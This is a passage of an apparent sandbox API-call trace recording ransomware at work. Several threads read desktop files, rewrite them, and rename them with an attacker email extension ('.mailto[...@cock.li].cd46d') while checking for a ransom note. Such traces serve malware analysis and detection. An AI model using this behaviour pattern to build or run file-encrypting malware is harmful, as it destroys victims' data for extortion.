Seed=0x8abf7bc) returned 0x6a128f14 [0054.183] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x71d3fcb7 [0054.183] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x756921ac [0054.183] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x7dc90ea1 [0054.183] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x266b3f3f [0054.183] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x640f382 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x570584e1 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x67c75fb5 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x39030d65 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x20035d05 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x15511c65 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x55ff3a13 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x5f3c3614 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x46d0140a [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x7aa7f405 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x26d9c0a5 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x1de5ee1d [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x592f92f7 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x1989d33d [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x39ab6de [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x27dcf860 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x441bea1 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x5e898f0c [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x4874ec72 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x254bfe8c [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x73aa5de0 [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x33fb44fb [0054.184] RtlRandomEx (in: Seed=0x8abf7bc | out: Seed=0x8abf7bc) returned 0x33ccf8c7 [0054.196] ReadFile (in: hFile=0x5e4, lpBuffer=0x5e60ed0, nNumberOfBytesToRead=0x71d7, lpNumberOfBytesRead=0x8abf7ac, lpOverlapped=0x0 | out: lpBuffer=0x5e60ed0*, lpNumberOfBytesRead=0x8abf7ac*=0x71d7, lpOverlapped=0x0) returned 1 [0054.197] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.197] WriteFile (in: hFile=0x5e4, lpBuffer=0x5e6d6d8*, nNumberOfBytesToWrite=0x71d7, lpNumberOfBytesWritten=0x8abf7a8, lpOverlapped=0x0 | out: lpBuffer=0x5e6d6d8*, lpNumberOfBytesWritten=0x8abf7a8*=0x71d7, lpOverlapped=0x0) returned 1 [0054.449] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0600 [0054.449] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d05d8 [0054.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d05d8) returned 1 [0054.450] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e6d6d8) returned 1 [0054.450] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e60ed0) returned 1 [0054.450] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0054.450] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0054.450] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3d) returned 0x44bce8 [0054.450] SetFilePointerEx (in: hFile=0x5e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.450] WriteFile (in: hFile=0x5e4, lpBuffer=0x95d0d90*, nNumberOfBytesToWrite=0x121, lpNumberOfBytesWritten=0x8abf810, lpOverlapped=0x0 | out: lpBuffer=0x95d0d90*, lpNumberOfBytesWritten=0x8abf810*=0x121, lpOverlapped=0x0) returned 1 [0054.508] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0d90) returned 1 [0054.508] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c5a0) returned 1 [0054.508] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d05d8) returned 1 [0054.508] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0054.508] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0600) returned 1 [0054.508] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460490) returned 1 [0054.508] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4604b8) returned 1 [0054.508] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0054.508] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc6) returned 0x5e00060 [0054.508] wcscpy (in: _Dest=0x5e00060, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RzNP4wT20yWfy6h_08bR.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RzNP4wT20yWfy6h_08bR.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RzNP4wT20yWfy6h_08bR.flv" [0054.508] wcscat (in: _Dest=0x5e00060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RzNP4wT20yWfy6h_08bR.flv.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RzNP4wT20yWfy6h_08bR.flv.mailto[2Hamlampampom@cock.li].cd46d" [0054.508] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RzNP4wT20yWfy6h_08bR.flv.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8abf7c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RzNP4wT20yWfy6h_08bR.flv.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.508] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xdc) returned 0x96f0008 [0054.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f0008) returned 1 [0054.611] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a0d28) returned 1 [0054.611] NtQueryInformationFile (in: FileHandle=0x5e4, IoStatusBlock=0x8abf7d4, FileInformation=0x8abf7ac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x8abf7d4, FileInformation=0x8abf7ac) returned 0x0 [0054.611] NtSetInformationFile (FileHandle=0x5e4, IoStatusBlock=0x8abf7d4, FileInformation=0x8abf7ac, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.626] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00060) returned 1 [0054.626] FlushFileBuffers (hFile=0x5e4) returned 1 [0054.638] CloseHandle (hObject=0x5e4) returned 1 [0054.639] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418de8 [0054.639] wcscpy (in: _Dest=0x418de8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.639] wcscat (in: _Dest=0x418de8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.639] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.639] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418de8) returned 1 [0054.639] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446d48) returned 1 Thread: id = 299 os_tid = 0xb24 [0047.013] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sI9EFd.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\si9efd.rtf")) returned 0x20 [0047.014] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sI9EFd.rtf", dwFileAttributes=0x20) returned 1 [0054.156] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sI9EFd.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\si9efd.rtf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5e8 [0054.156] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x557fe98 | out: lpFileSize=0x557fe98*=61560) returned 1 [0054.156] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0xf074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.156] ReadFile (in: hFile=0x5e8, lpBuffer=0x557fe1c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x557fe18, lpOverlapped=0x0 | out: lpBuffer=0x557fe1c*, lpNumberOfBytesRead=0x557fe18*=0x4, lpOverlapped=0x0) returned 1 [0054.157] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.157] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4606e8 [0054.157] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4605d0 [0054.157] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0054.157] NtQuerySystemTime (in: CurrentTime=0x557fdf8 | out: CurrentTime=0x557fdf8*=132174898181400000) returned 0x0 [0054.157] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x5e4063a0 [0054.157] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x5883140c [0054.157] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x13b43b82 [0054.157] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x66ee4e62 [0054.157] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x4c758d50 [0054.157] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x77bd8be0 [0054.157] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x3df920e5 [0054.157] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x22230279 [0054.157] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x327688fe [0054.157] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x4765a361 [0054.157] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x795e4d0e [0054.157] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x834763d [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x2c8a4c1c [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x2619101b [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x29f9644d [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x7652a33a [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x3e766931 [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x2dbce088 [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x775e94b6 [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x4d42151e [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x29fd96b6 [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x47d46d68 [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x4bfafd11 [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x2354bcef [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x633547ca [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x1d33e26c [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x4e619c84 [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x32efbf7f [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x7eb587f1 [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x64f501b3 [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x3f1f2427 [0054.158] RtlRandomEx (in: Seed=0x557fe04 | out: Seed=0x557fe04) returned 0x66bc325c [0054.173] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.173] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e47ec0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x557fdd8, lpOverlapped=0x0 | out: lpBuffer=0x5e47ec0*, lpNumberOfBytesRead=0x557fdd8*=0xc800, lpOverlapped=0x0) returned 1 [0054.173] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.174] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bce8 [0054.174] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0054.174] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4606e8 [0054.174] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4606e8) returned 1 [0054.175] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e546c8 [0054.180] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4606e8 [0054.180] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0054.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4603f0) returned 1 [0054.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0054.180] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bce8) returned 1 [0054.180] WriteFile (in: hFile=0x5e8, lpBuffer=0x5e546c8*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x557fdd8, lpOverlapped=0x0 | out: lpBuffer=0x5e546c8*, lpNumberOfBytesWritten=0x557fdd8*=0xc800, lpOverlapped=0x0) returned 1 [0054.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e546c8) returned 1 [0054.449] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47ec0) returned 1 [0054.449] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x4088c0 [0054.449] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.449] WriteFile (in: hFile=0x5e8, lpBuffer=0x12d05808*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x557fe58, lpOverlapped=0x0 | out: lpBuffer=0x12d05808*, lpNumberOfBytesWritten=0x557fe58*=0x105, lpOverlapped=0x0) returned 1 [0054.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05808) returned 1 [0054.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce8a0) returned 1 [0054.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0498) returned 1 [0054.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4088c0) returned 1 [0054.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4606e8) returned 1 [0054.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4605d0) returned 1 [0054.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460558) returned 1 [0054.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460530) returned 1 [0054.507] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c910 [0054.507] wcscpy (in: _Dest=0x45c910, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sI9EFd.rtf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sI9EFd.rtf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sI9EFd.rtf" [0054.507] wcscat (in: _Dest=0x45c910, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sI9EFd.rtf.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sI9EFd.rtf.mailto[2Hamlampampom@cock.li].cd46d" [0054.507] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sI9EFd.rtf.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x557fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sI9EFd.rtf.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0054.507] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d9d8 [0054.636] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d9d8) returned 1 [0054.636] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49e430) returned 1 [0054.636] NtQueryInformationFile (in: FileHandle=0x5e8, IoStatusBlock=0x557fe1c, FileInformation=0x557fdf4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x557fe1c, FileInformation=0x557fdf4) returned 0x0 [0054.636] NtSetInformationFile (FileHandle=0x5e8, IoStatusBlock=0x557fe1c, FileInformation=0x557fdf4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.653] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c910) returned 1 [0054.653] FlushFileBuffers (hFile=0x5e8) returned 1 [0054.655] CloseHandle (hObject=0x5e8) returned 1 [0054.655] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418fc8 [0054.655] wcscpy (in: _Dest=0x418fc8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0054.655] wcscat (in: _Dest=0x418fc8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0054.655] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0054.656] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418fc8) returned 1 [0054.656] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x421188) returned 1 Thread: id = 300 os_tid = 0xb28 [0047.014] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ss O0l38HTkV-orIpi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ss o0l38htkv-oripi.mkv")) returned 0x20 [0047.014] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ss O0l38HTkV-orIpi.mkv", dwFileAttributes=0x20) returned 1 [0054.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ss O0l38HTkV-orIpi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ss o0l38htkv-oripi.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5ec [0054.136] GetFileSizeEx (in: hFile=0x5ec, lpFileSize=0x914fc9c | out: lpFileSize=0x914fc9c*=18277) returned 1 [0054.136] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x4761, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.136] ReadFile (in: hFile=0x5ec, lpBuffer=0x914fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x914fc1c, lpOverlapped=0x0 | out: lpBuffer=0x914fc20*, lpNumberOfBytesRead=0x914fc1c*=0x4, lpOverlapped=0x0) returned 1 [0054.137] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.137] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4606e8 [0054.137] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460670 [0054.138] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4605d0 [0054.138] NtQuerySystemTime (in: CurrentTime=0x914fbfc | out: CurrentTime=0x914fbfc*=132174898181244000) returned 0x0 [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x7d465c0 [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x3795355 [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x768e96db [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x5dc01240 [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x37d792b6 [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x108e43df [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0xdb0b136 [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x115de8b0 [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x570160fb [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0xfcf74fd [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x2cd5b2e1 [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0xde40c86 [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x5c0d4f05 [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x2bd1b80d [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x687eb736 [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x115a839d [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x14fc40bf [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x18ba4d2b [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x62973a2b [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x718054b9 [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x701b54b5 [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x59caea0d [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x5245d9ca [0054.138] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x1d53d09d [0054.139] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x37b86688 [0054.139] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x433e7cd1 [0054.139] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x58f96beb [0054.139] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x2b493d20 [0054.139] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0xc2b66f2 [0054.139] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x650ed539 [0054.139] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x3e0983b6 [0054.139] RtlRandomEx (in: Seed=0x914fc08 | out: Seed=0x914fc08) returned 0x1f1fe3e1 [0054.153] ReadFile (in: hFile=0x5ec, lpBuffer=0x1982e028, nNumberOfBytesToRead=0x4765, lpNumberOfBytesRead=0x914fbf8, lpOverlapped=0x0 | out: lpBuffer=0x1982e028*, lpNumberOfBytesRead=0x914fbf8*=0x4765, lpOverlapped=0x0) returned 1 [0054.154] SetFilePointerEx (in: hFile=0x5ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0054.154] WriteFile (in: hFile=0x5ec, lpBuffer=0x1983a830*, nNumberOfBytesToWrite=0x4765, lpNumberOfBytesWritten=0x914fbf4, lpOverlapped=0x0 | out: lpBuffer=0x1983a830*, lpNumberOfBytesWritten=0x914fbf4*=0x4765, lpOverlapped=0x0) returned 1 [0054.447] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06a0 [0054.447] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d05b0 [0054.447] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d05b0) returned 1 [0054.447] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1983a830) returned 1 [0054.447] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1982e028) returned 1 [0054.447] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b168) returned 1 [0054.448] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0054.448] 